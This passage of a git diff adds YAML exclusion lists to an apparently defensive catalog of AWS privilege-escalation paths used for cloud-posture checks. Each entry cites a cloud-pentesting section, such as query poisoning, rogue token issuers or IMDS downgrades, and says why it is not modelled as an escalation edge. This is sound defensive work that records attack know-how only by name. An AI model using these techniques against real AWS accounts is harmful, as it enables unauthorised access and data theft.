src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iam-delegation-requests--iamassociatedelegationrequest-iamacceptdelegationrequest-iamsenddelegationtoken + historical_source_revision: 171e422299 + technique: "IAM delegation requests" + reason: "Accepting a delegation request exports the accepting identity's authority to an onboarded external partner; it does not escalate a principal in the snapshot, and sts:GetDelegatedAccessToken requires a provider-bound trade-in token from the approved workflow." + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizations + technique: "section introduction" + reason: "Service introduction and enumeration link; techniques are mapped under their own headings." + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#iam-identity-center--sso + technique: "section introduction" + reason: "Page introduction and enumeration link; techniques are mapped under their own headings." + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md#sso-admincreatetrustedtokenissuer--createapplication--putapplicationgrant--impersonate-any-user-via-a-rogue-trusted-token-issuer + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#sso-admincreatetrustedtokenissuer--createapplication--putapplicationgrant--impersonate-any-user-via-a-rogue-trusted-token-issuer + technique: "sso-admin:CreateTrustedTokenIssuer" + reason: "A rogue trusted token issuer impersonates users only towards trusted-identity-propagation applications (data-plane access in services such as Redshift, Q, S3 Access Grants); it yields no permission set session or IAM role." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsgetwebidentitytoken--externalsaas-credential-minting + technique: "sts:GetWebIdentityToken" + reason: "Mints outbound tokens of the caller's own identity for external relying parties; it cannot be exchanged into a different AWS principal, so no AWS privilege edge." + source_revision: 171e422299 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g2.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g2.yaml new file mode 100644 index 0000000000..2dc619acff --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g2.yaml @@ -0,0 +1,35 @@ +# AWS refresh G2 (compute pages): HackTricks sections at 171e422299 intentionally NOT modelled as privesc edges. +# Each item: {source, technique, reason, source_revision}. + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2enableserialconsoleaccess--unlock-the-account-level-gate-for-serial-console-access + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2enableserialconsoleaccess--unlock-the-account-level-gate-for-serial-console-access + historical_source_revision: 171e422299 + technique: ec2:EnableSerialConsoleAccess + reason: Only lifts the account-level gate; reaching an instance still requires serial-console key push and an OS account password, so the permission alone yields no new identity (consistent with the SendSerialConsoleSSHPublicKey exclusion). + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2modifyinstancemetadatadefaults--account-wide-imds-downgrade + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2modifyinstancemetadatadefaults--account-wide-imds-downgrade + historical_source_revision: 171e422299 + technique: ec2:ModifyInstanceMetadataDefaults + reason: Weakens IMDS defaults for future launches only; credential theft still needs a separate SSRF or code-execution foothold in a workload, so it is a defense-weakening misconfiguration rather than an edge (consistent with the ModifyInstanceMetadataOptions exclusion). + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-image-builder-privesc/README.md#ec2-image-builder + technique: section introduction + reason: Service introduction and enumeration link; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#app-runner + technique: section introduction + reason: Service introduction and enumeration link; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambda + technique: section introduction + reason: Service introduction and enumeration link; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/aws-ecscape-privesc.md#ecs + technique: section introduction + reason: Background on the ECS agent credential channel; the technique is mapped by aws-ecs-ecscape-agent-impersonation. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#ecrputimage-on-a-mutable-lambda-image-tag-later-code-deployment-required + technique: ecr:PutImage on a Lambda image tag + reason: Lambda pins the tag to a digest at deployment, so the write only executes after another principal later deploys the tag; this consumer-driven supply-chain path is modelled by the ECR writer entries in ecr.yaml. + source_revision: 171e422299 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g3.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g3.yaml new file mode 100644 index 0000000000..0918dd238b --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g3.yaml @@ -0,0 +1,70 @@ +# AWS catalog refresh (group g3: CloudFormation / Code* / Cloud Control / Service Catalog / Proton / Amplify / Beanstalk / Data Pipeline). +# HackTricks sections at rev 171e422299 intentionally NOT modelled as privesc edges. Each item: {source, technique, reason, source_revision}. + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformation + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuild + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#startbuild-env-var-override + technique: codebuild:StartBuild environment-variable / buildspec override (incl. artifact-destination redirect and PYTHONWARNINGS+BROWSER examples) + reason: 'Variant of the StartBuild override technique already modelled as aws-codebuild-startbuild-attached-role (same permission, same target: the project''s stored service role); the examples are execution details.' + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codecommit-pipeline-source-privesc/README.md#codecommit + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codedeploy-privesc/README.md#codedeploy + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipeline + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-job-credentials-privesc/README.md#codepipeline + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codepipeline-data-access-post-exploitation/README.md#codepipelinepollforjobs--custom-action-artifact-credentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-job-credentials-privesc/README.md#codepipelinepollforjobs--custom-action-artifact-credentials + technique: codepipeline:PollForJobs + reason: Returns short-lived artifact credentials scoped to the pipeline artifact store for a custom action; data access, not another principal's identity (same reasoning as the codepipeline-privesc PollForJobs exclusion). + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codepipeline-data-access-post-exploitation/README.md#codepipelinegetjobdetails--known-job-artifact-credentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-job-credentials-privesc/README.md#codepipelinegetjobdetails--known-job-artifact-credentials + technique: codepipeline:GetJobDetails + reason: Narrower route to the same job artifact credentials as PollForJobs; data access, not a role identity. + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md#codestar + technique: Service introduction + reason: AWS CodeStar discontinued (2024-07-31); introductory section. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md#datapipeline + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-service-catalog-privesc/README.md#service-catalog-and-appregistry + technique: Service introduction + reason: Introductory section describing launch constraints; techniques are modelled in servicecatalog.yaml. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloud-control-handler-role-privesc/README.md#cloud-control-api + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloud-control-handler-role-post-exploitation/README.md#getresource--listresources--iampassrole--read-through-a-resource-handler-role + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloud-control-handler-role-privesc/README.md#getresource--listresources--iampassrole--read-through-a-resource-handler-role + technique: cloudformation:GetResource / ListResources + iam:PassRole + reason: 'Read-only: the passed handler role only reads resource configuration (IAM trust, policies, endpoints) back to the caller; configuration disclosure, no write or code execution as the role. Least Privilege / Exposure.' + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-proton-privesc/README.md#protoncreateenvironment-iampassrole--template-control + technique: proton:CreateEnvironment + iam:PassRole + reason: AWS Proton end of support was 2026-10-07 (no new customers since 2025-10-07); the APIs are no longer available, so no current path. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-proton-privesc/README.md#protoncreatecomponent--arbitrary-iac-through-a-stored-component-role + technique: proton:CreateComponent / UpdateComponent (stored component role) + reason: AWS Proton end of support was 2026-10-07; the APIs are no longer available. + source_revision: 171e422299 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g4.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g4.yaml new file mode 100644 index 0000000000..96769cb8dc --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g4.yaml @@ -0,0 +1,168 @@ +# AWS catalog refresh (group g4: SageMaker / Bedrock / Glue / EMR / Athena / Lake Formation / DataZone / Flink / HealthOmics / databases). +# HackTricks sections at rev 171e422299 intentionally NOT modelled as privesc edges. Each item: {source, technique, reason, source_revision}. + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-spark-role-privesc/README.md#athena + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-stored-query-privesc/README.md#athena + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-athena-post-exploitation/README.md#athenaupdatepreparedstatement--poison-a-query-executed-by-another-principal + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-stored-query-privesc/README.md#athenaupdatepreparedstatement--poison-a-query-executed-by-another-principal + technique: "athena:UpdatePreparedStatement" + reason: "Data-level confused deputy: the replaced SQL runs with a later caller's data access; no IAM role or principal is obtained." + source_revision: f2aa915198 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-athena-post-exploitation/README.md#athenaupdatenamedquery--poison-saved-sql-consumed-by-another-principal + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-stored-query-privesc/README.md#athenaupdatenamedquery--poison-saved-sql-consumed-by-another-principal + technique: "athena:UpdateNamedQuery" + reason: "Data-level confused deputy: saved SQL is executed by another principal with its own data access; no IAM role or principal is obtained." + source_revision: f2aa915198 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-aurora-dsql-privesc/README.md#aurora-dsql + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-aurora-dsql-post-exploitation/README.md#dsqldbconnectadmin--database-administrator-access + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-aurora-dsql-privesc/README.md#dsqldbconnectadmin--database-administrator-access + technique: "dsql:DbConnectAdmin" + reason: "Database-plane administrator access only; no IAM principal is obtained." + source_revision: fd7d56b0a9 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-aurora-dsql-privesc/README.md#dsqlputclusterpolicy--self-grant-database-administrator-access + technique: "dsql:PutClusterPolicy" + reason: "Self-grant of database-plane administrator access through the cluster resource policy; no IAM principal is obtained." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md#bedrock + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md#bedrock-agentcorecreateagentruntime--createagentruntimeendpoint-iampassrole---agent-runtime-execution-role-pivot + technique: "bedrock-agentcore:CreateAgentRuntime, CreateAgentRuntimeEndpoint, iam:PassRole" + reason: "Duplicate of the AgentCore page heading modelled as aws-bedrock-agentcore-createagentruntime-passrole." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#amazon-bedrock-agentcore + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-agentcore-post-exploitation/README.md#credential-vend--getworkloadaccesstoken--getresourceapikey--getresourceoauth2token--steal-the-third-party-secrets-agents-use + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#credential-vend--getworkloadaccesstoken--getresourceapikey--getresourceoauth2token--steal-the-third-party-secrets-agents-use + historical_source_revision: 171e422299 + technique: "bedrock-agentcore:GetWorkloadAccessToken*, GetResourceApiKey, GetResourceOauth2Token" + reason: "Vends third-party (SaaS/OAuth) secrets used by agents, not AWS principals; also needs secretsmanager:GetSecretValue on the provider secret." + source_revision: 3ad99dc7ac + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datazone-privesc/README.md#amazon-datazone + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datazone-privesc/README.md#blueprint-configuration-role-substitution + technique: "datazone:PutEnvironmentBlueprintConfiguration, iam:PassRole" + reason: "The passed provisioning and manage-access roles run fixed built-in blueprint operations (CloudFormation provisioning, Glue/Lake Formation/Redshift grants); the caller does not control code run as the roles. Confused-deputy provisioning, not a direct role takeover." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-documentdb-privesc/README.md#documentdb + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-documentdb-privesc/README.md#post-exploitation-reset-an-elastic-cluster-administrator-password + technique: "docdb-elastic:UpdateCluster" + reason: "Database administrator access only; Elastic cluster users are not AWS principals." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md#dynamodb + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#amazon-emr-serverless + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#glue + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-healthomics-privesc/README.md#healthomics + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-healthomics-privesc/README.md#importexport-jobs--iampassrole + technique: "omics:Start*ImportJob / StartReadSetExportJob, iam:PassRole" + reason: "Data-only confused deputy limited to genomic import/export; no credentials or code execution as the role." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lake-formation-grants-privesc/README.md#lake-formation + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lake-formation-grants-privesc/README.md#become-a-data-lake-administrator--lakeformationputdatalakesettings + technique: "lakeformation:PutDataLakeSettings" + reason: "Grants Lake Formation data-governance administration (data access grants), not an IAM principal's privileges; data exposure belongs to exposure analysis. Covers the Impact and limits subsection." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lake-formation-grants-privesc/README.md#self-grant-data-access--lakeformationgrantpermissions--batchgrantpermissions + technique: "lakeformation:GrantPermissions / BatchGrantPermissions" + reason: "Data-only: self-grants catalog/table access; no IAM principal is obtained." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lake-formation-grants-privesc/README.md#register-a-location-under-a-privileged-role--lakeformationregisterresource--iampassrole + technique: "lakeformation:RegisterResource, iam:PassRole" + reason: "Data-only confused deputy: the registered role is used to vend scoped S3 data credentials for Lake Formation grants; the caller runs no code as the role." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#managed-service-for-apache-flink + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-managed-flink-post-exploitation/README.md#add-private-network-reach-without-ec2-permission + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#add-private-network-reach-without-ec2-permission + technique: "kinesisanalytics:AddApplicationVpcConfiguration" + reason: "Network exposure only; no code execution or principal change by itself." + source_revision: f2aa915198 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#iam-identity-center--sso + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#the-pattern + technique: " Start*/Create* job, iam:PassRole" + reason: "Data-access confused deputy (read/write S3 as the passed role); no credentials or code execution as the role. Code-executing services on the table are modelled (PCS, FinSpace) or have dedicated pages." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#relational-database-rds + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#postgresql-aurora + technique: SQL use of an associated RDS role (PostgreSQL) + reason: "Describes how SQL uses the attached role; the role edge is modelled by the RDS ModifyDBInstance and AddRoleTo* entries." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#mysql-aurora + technique: SQL use of an associated RDS role (MySQL) + reason: "Describes how SQL uses the attached role; the role edge is modelled by the RDS ModifyDBInstance and AddRoleTo* entries." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md#accessing-external-services + technique: SQL use of attached Redshift roles (Lambda, S3, DynamoDB, EMR) + reason: "Describes how SQL uses the attached roles; the role edge is modelled by the Redshift credential and role-attachment entries. Covers its subsections." + source_revision: 171e422299 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g5.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g5.yaml new file mode 100644 index 0000000000..0ddb00ebaf --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g5.yaml @@ -0,0 +1,98 @@ +# Catalog refresh G5 exclusions (hacktricks-cloud HEAD 171e422299): headings that are not principal escalations. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#api-gateway + technique: API Gateway intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appflow-post-exploitation/README.md#appflow + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appflow-privesc/README.md#appflow + historical_source_revision: 171e422299 + technique: AppFlow intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appflow-post-exploitation/README.md#hijack-or-destroy-a-connector-profile + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appflow-privesc/README.md#redshift-and-custom-connector-boundaries + historical_source_revision: 171e422299 + technique: appflow:CreateConnectorProfile|UpdateConnectorProfile + iam:PassRole; custom connectors + reason: 'Hardening guidance: Redshift connector roles are used only for the connector''s data operations and custom connectors invoke a Lambda through its resource policy without a passed role.' + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appsync-post-exploitation/README.md#appsyncupdategraphqlapi--appsynccreateapikey + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appsync-privesc/README.md#appsyncupdategraphqlapi--appsynccreateapikey + historical_source_revision: 171e422299 + technique: appsync:UpdateGraphqlApi + appsync:CreateApiKey + reason: 'Switches the API''s primary auth to API_KEY: application-level data access through existing resolvers, not an AWS principal escalation.' + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudwatch-omni-privesc/README.md#cloudwatch-omni + technique: CloudWatch Omni intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-omni-post-exploitation/README.md#cloudwatchcreateview-or-updateview--view-scoped-getrecords--expand-delegated-telemetry-access + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudwatch-omni-privesc/README.md#cloudwatchcreateview-or-updateview--view-scoped-getrecords--expand-delegated-telemetry-access + technique: cloudwatch:CreateView|UpdateView + cloudwatch:GetRecords + reason: Telemetry data access through a view (no IAM access to source workloads); data read, not principal escalation. + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-config-privesc/README.md#config + technique: Config intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-config-privesc/README.md#aws-config + technique: AWS Config intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-pipe-stored-role-privesc/README.md#eventbridge-pipes + technique: EventBridge Pipes intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-pipes-privesc/README.md#amazon-eventbridge-pipes + technique: EventBridge Pipes intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#amazon-eventbridge + technique: EventBridge intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-fis-privesc/README.md#fault-injection-service + technique: FIS intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kinesis-data-streams-privesc/README.md#kinesis-data-streams + technique: Kinesis Data Streams intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kinesis-data-streams-post-exploitation/README.md#createchannel--associatestreamswithchannel--iampassrole + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kinesis-data-streams-privesc/README.md#createchannel--associatestreamswithchannel--iampassrole + technique: kinesis:CreateChannel + kinesis:AssociateStreamsWithChannel + iam:PassRole + reason: 'Bounded data delivery: the passed role only copies future records of an on-demand stream to an S3 bucket or streaming table; data exfiltration, not principal escalation. kinesis:CreateChannel + is not yet in aws_permissions_cat.yaml.' + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md#mqupdateconfiguration-mqupdatebroker-mqcreateusermqupdateuser + technique: mq:UpdateConfiguration + mq:UpdateBroker + mq:CreateUser|UpdateUser + reason: ActiveMQ broker-level users and authorization map; broker administrator is not an AWS principal. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md#mqupdateconfiguration-mqupdatebroker-mqupdatebrokeraccessconfiguration--trust-an-attacker-controlled-rabbitmq-idp + technique: mq:UpdateConfiguration + mq:UpdateBroker + mq:UpdateBrokerAccessConfiguration + reason: RabbitMQ broker administrator via an attacker IdP; broker-level access and persistence, not an AWS principal. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md#snssettopicattributes--grant-subscribe-access-to-a-controlled-iam-user + technique: sns:SetTopicAttributes + reason: 'Resource-policy grant of sns:Subscribe on one topic to a controlled user: message read access only, like sns:AddPermission.' + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md#sqssetqueueattributes--grant-queue-access-to-a-controlled-iam-user + technique: sqs:SetQueueAttributes + reason: 'Resource-policy grant of queue access to a controlled user: message read access only, like sqs:AddPermission.' + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#systems-manager-ssm + technique: SSM intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#task-resources + technique: Step Functions task resources + reason: Informational list of service integrations; no technique on its own. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-synthetics-privesc/README.md#amazon-cloudwatch-synthetics + technique: CloudWatch Synthetics intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appsync-privesc/README.md#appsyncupdatedatasource--appsyncupdateresolver--iampassrole + technique: appsync:UpdateDataSource + appsync:UpdateResolver + iam:PassRole + reason: Duplicate primitive; covered by aws-appsync-passrole-datasource-sigv4 (third any_of group, existing data source). + source_revision: '171e422299' diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g6.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g6.yaml new file mode 100644 index 0000000000..691eb7a0a0 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g6.yaml @@ -0,0 +1,185 @@ +# Catalog refresh G6 exclusions (hacktricks-cloud 171e422299): storage, data and identity-data pages. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadmindeletesoftwaretoken--cognito-idpadminsetusermfapreference--cognito-idpsetuserpoolmfaconfig--cognito-idpupdateuserpool + technique: cognito-idp:AdminDeleteSoftwareToken / AdminSetUserMFAPreference / SetUserPoolMfaConfig / UpdateUserPool + reason: MFA weakening only; account takeover still needs the victim's password (or a separate reset primitive already modelled by the password entries). Supersedes the stale _excluded_a.yaml line for + this heading. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#select-an-identity-pool-role-through-editable-claims + technique: Identity-pool rule-based role mapping on user-editable claims + reason: 'Needs no IAM permission: an end user edits its own token claims through user-pool self-service APIs. A role-mapping misconfiguration (Exposure check), not a permission-based edge from an IAM + source principal.' + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-user-pools-privesc/README.md#cognito + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-user-pools-privesc/README.md#custom-attribute-privesc + technique: Self-service update of a mutable custom attribute + reason: Application-level privilege change for app users (token-authorized, no IAM permission); AWS-role impact only through claim-based role mapping, covered by the editable-claims exclusion. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-user-pools-post-exploitation/README.md#emailusername-modification-privesc + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-user-pools-privesc/README.md#emailusername-modification-privesc + technique: Self-service email/phone/name change + reason: Application-level impersonation when the app trusts unverified claims; no IAM permission and no AWS principal reached. + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-datasync-delegated-copy-post-exploitation/README.md#aws-datasync + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datasync-privesc/README.md#aws-datasync + historical_source_revision: 171e422299 + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md#directory-services--workdocs + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: 